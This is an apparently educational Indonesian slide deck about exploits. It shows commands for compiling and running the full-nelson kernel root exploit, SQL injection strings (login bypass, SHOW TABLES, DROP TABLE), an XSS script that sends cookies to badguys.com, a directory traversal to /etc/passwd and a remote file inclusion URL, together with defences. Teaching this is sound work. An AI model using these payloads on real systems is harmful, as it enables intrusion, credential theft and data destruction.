exploits

15
Exploits Exploits adalah teknik untuk mendapatkan/membobol akses dengan memanfaatkan/mengeksploitasi kelemahan sistem. Kelemahan sistem itu sendiri akibat kesalahan atau ketidaktelitian dalam coding (pembuatan aplikasi/program). Ada tiga level software yang rawan serangan exploits: OS (kernel) Server (apache, ftp, MySQL) Server Apps (php, jsp, asp)

Upload: pedy

Post on 01-Jul-2015

1.166 views

Category:

Documents


20 download

TRANSCRIPT

Page 1: Exploits

Exploits

Exploits adalah teknik untuk mendapatkan/membobol akses dengan memanfaatkan/mengeksploitasi kelemahan sistem. Kelemahan sistem itu sendiri akibat kesalahan atau ketidaktelitian dalam coding (pembuatan aplikasi/program).

Ada tiga level software yang rawan serangan exploits:

OS (kernel)

Server (apache, ftp, MySQL)

Server Apps(php, jsp, asp)

Page 2: Exploits

Jenis-jenis Exploits

1. Local Exploits

Exploits yang dijalankan dari komputer lokal dengan target komputer itu sendiri.

2. Remote Exploits

Exploits yang dijalankan dari komputer (remote) yang berbeda dengan komputer target/korban.

Page 3: Exploits

OS/Kernel Exploits

Salah satu Linux kernel exploits adalah full-nelson.c buatan Dan Rosenberg. Exploits ini termasuk local privilege escalation exploit yang dapat mengubah user biasa menjadi user root. Exploits ini berlaku bagi semua versi Linux kernel di bawah 2.6.37 yang belum di-patch atau di-update.

Compile exploits menjadi binary:

$ gcc full-nelson.c -o full-nelson

Jalankan exploits tersebut:

$ ./full-nelson[*] Resolving kernel addresses... [+] Resolved econet_ioctl to 0xe0972280 [+] Resolved econet_ops to 0xe0972360 [+] Resolved commit_creds to 0xc01625c0 [+] Resolved prepare_kernel_cred to 0xc01627c0[*] Calculating target...[*] Triggering payload...[*] Got root!

Jika berhasil maka diri kita akan menjadi root, cek dengan:

# whoami

Page 4: Exploits

Server ExploitsServer exploits adalah exploits yang ditujukan kepada aplikasi daemon server seperti web server, mail server, ftp server, dan sejenisnya. Karena berupa daemon server, maka tipe ini termasuk remote exploits yang memanfaatkan jaringan komputer.

Beberapa contoh server exploits antara lain adalah:● Exim4 <= 4.69 string_format Function Heap Buffer Overflow● ProFTPD-1.3.3c Backdoor Command Execution● SpamAssassin spamd Remote Command Execution● SquirrelMail PGP Plugin command execution (SMTP)● Samba trans2open Overflow (Linux x86)● Samba chain_reply Memory Corruption (Linux x86)● Samba lsa_io_trans_names Heap Overflow● ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)● Oracle VM Server Virtual Server Agent Command Injection

Cara kerja server/remote exploits sama dengan local exploits, hanya saja exploits dijalankan dari komputer penyerang yang ditujukan ke server tertentu (korban).

Page 5: Exploits

Mengatasi OS dan Server Exploits

● Ikuti milis dan update vulneribility terbaru (yg dikenal dengan istilah bugtraq), seperti: http://www.securityfocus.com/ atau http://www.exploit-db.com/

● Patch sistem secara rutin

● Update sistem secara rutin

Page 6: Exploits

Server Apps Exploits

Server apps exploits adalah exploits yang ditujukan kepada aplikasi web seperti PHP, JSP dan ASP.

Beberapa contoh server (web) apps exploits antara lain adalah:● SQL injection● Cross site scripting● Directory traversal dan remote file inclusion

Cara kerja exploits ini antara lain menggunakan manipulasi URL pada browser untuk mengakses aplikasi web (database) korban.

Page 7: Exploits

1. SQL Injection: login bypass #1Sebagai contoh ada form login seperti ini:

Username:

Password :

Member Login

Login

Input data di atas akan divalidasi oleh SQL berikut:

SELECT idFROM loginsWHERE username = '$username'AND password = '$password’

Page 8: Exploits

1. SQL Injection: login bypass #2Jika form login di bawah diisi dengan data:

Username:

Password :

Member Login

budi

mautauaja

Login

Maka data yang akan divalidasi oleh SQL adalah sebagai berikut:

SELECT idFROM loginsWHERE username = 'budi'AND password = 'mautauaja'

Jika data di atas valid maka query akan bernilai true dan user boleh login. Sebaliknya jika tidak valid maka user tidak diizinkan login.

Page 9: Exploits

1. SQL Injection: login bypass #3Jika aplikasi login di bawah vulnerable, maka ia bisa di-SQL inject:

Username:

Password :

Member Login

budi

anything' or 'x'='x

Login

Maka query yang akan dijalankan oleh SQL adalah sebagai berikut:

SELECT idFROM loginsWHERE username = 'budi'AND password = 'anything' or 'x'='x'

Maka nilai query di atas akan selalu true (jika user budi terdaftar), sekalipun password yang dimasukkan salah.

alwaysTRUE

Page 10: Exploits

1. SQL Injection: SQL syntaxSQL injection juga dapat berupa syntax-syntax SQL umum:

Username:

Password :

Member Login

budi

x'; SHOW TABLES; --

Login

Maka query yang akan dijalankan oleh SQL adalah sebagai berikut:

SELECT idFROM loginsWHERE username = 'budi'AND password = 'x'; SHOW TABLES; --'

query 1(original)

query 2(malicious)

query 3(comment)

Page 11: Exploits

1. SQL Injection: drop tableBahkan SQL injection dapat berupa syntax berbahaya berikut:

Username:

Password :

Member Login

budi

x'; DROP TABLE members; --

Login

Maka query yang akan dijalankan oleh SQL adalah sebagai berikut:

SELECT idFROM loginsWHERE username = 'budi'AND password = 'x'; DROP TABLE logins; --'

query 1(original)

query 2(malicious)

query 3(comment)

Page 12: Exploits

Antisipasi SQL Injection

Initinya: sanitasi, filter, amankan semua input aplikasi/database kita. Salah satu caranya menggunakan fungsi: mysql_real_escape_string(). Fungsi ini menambahkan karakter backslash (\) di depan karakter single quote (') pada string SQL injection. Contohnya string SQL injection seperti ini:

$password = “anything' or 'x'='x”;

Setelah difilter oleh fungsi mysql_real_escape_string($password) menjadi:

$password = “anything\' or \'x\'=\'x”;

String di atas ketika dieksekusi hanya akan menghasilkan error.

Page 13: Exploits

2. Cross Site Scripting (XSS)

Berbeda dengan serangan SQL injection yang ditujukan kepada web server, XSS adalah serangan yang ditujukan kepada client/user yang mengakses web server tertentu.

Caranya dengan memanfaatkan form isian (buku tamu, komentar, dll) dari sebuah web site, dengan memasukkan script tertentu (biasanya JavaScricpt) pada halaman tersebut. Ketika ada client/user mengakses halaman tersebut, maka user tersebut terjebak dalam script yang merugikan dirinya.

Tujuannya script XSS bervariasi. Yang paling sederhana seperti memaksa browser membuka alamat tertentu (spam), sampai pencurian data cookies dan session.

Sebagai contoh, seseorang bisa saja menaruh script untuk menyimpan cookies dan info penting lainnya di dalam form komentar sebagai berikut:

<script>document.location = 'http://www.badguys.com/cgi-bin/cookie.php?' + document.cookie;</script>

Untuk mengantisipasinya, jangan izinkan user memasukkan kode-kode html/javascript di dalam form. Gunakan fungsi-fungsi (PHP) untuk mem-filter tag-tag html seperti htmlentities(), htmlspecialchars() atau strip_tags().

Page 14: Exploits

3. Directory Traversal

Directory traversal adalah sebuah serangan yang memanfaatkan variabel URL untuk mengakses file atau direktori penting pada sebuah server. Sebagai contoh ada sebuah URL sebagai berikut:

http://www.korban.com?page=home.php

Jika server di atas vulnerable oleh serangan directory traversal, maka kita bisa mencoba memasukkan ini:

http://www.korban.com?page=../../../../etc/passwd

Yang akan menampilkan isi file penting /etc/passwd

Atau bisa juga diarahkan untuk mengeksekusi script tertentu yang berada pada server milik penyerang (remote file inclusion):

http://www.korban.com?page=http://cracker.com/malice.php

Page 15: Exploits

Antisipasi Directory Traversal

Cara yang paling jitu mengantisipai directory traversal adalah dengan melakukan filter terhadap variabel URL. Salah satunya dengan pre defined values sebagai berikut:

$pages = array( 'home', 'login', 'logout', // etc.);

if (!in_array($page, $pages) { die('Invalid page');}

Sehingga jika ada yang memasukkan data pada variabel page selain yang didefinisikan pada array, pasti akan ditolak (invalid page).